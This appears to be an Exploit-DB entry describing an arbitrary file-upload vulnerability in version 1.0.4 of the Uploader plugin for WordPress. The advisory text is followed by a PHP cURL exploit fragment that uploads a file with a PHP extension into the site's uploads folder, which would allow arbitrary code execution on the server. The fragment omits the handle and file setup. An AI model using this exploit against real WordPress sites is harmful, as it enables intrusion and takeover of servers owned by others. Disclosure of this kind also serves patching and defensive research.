EDB-ID:

38163

CVE:





Platform:

PHP

Date:

The Uploader plugin for WordPress is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application.

Uploader 1.0.4 is vulnerable; other versions may also be affected.

curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>"/wordpress/wp-content/uploads",
'fileext'=>'php'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
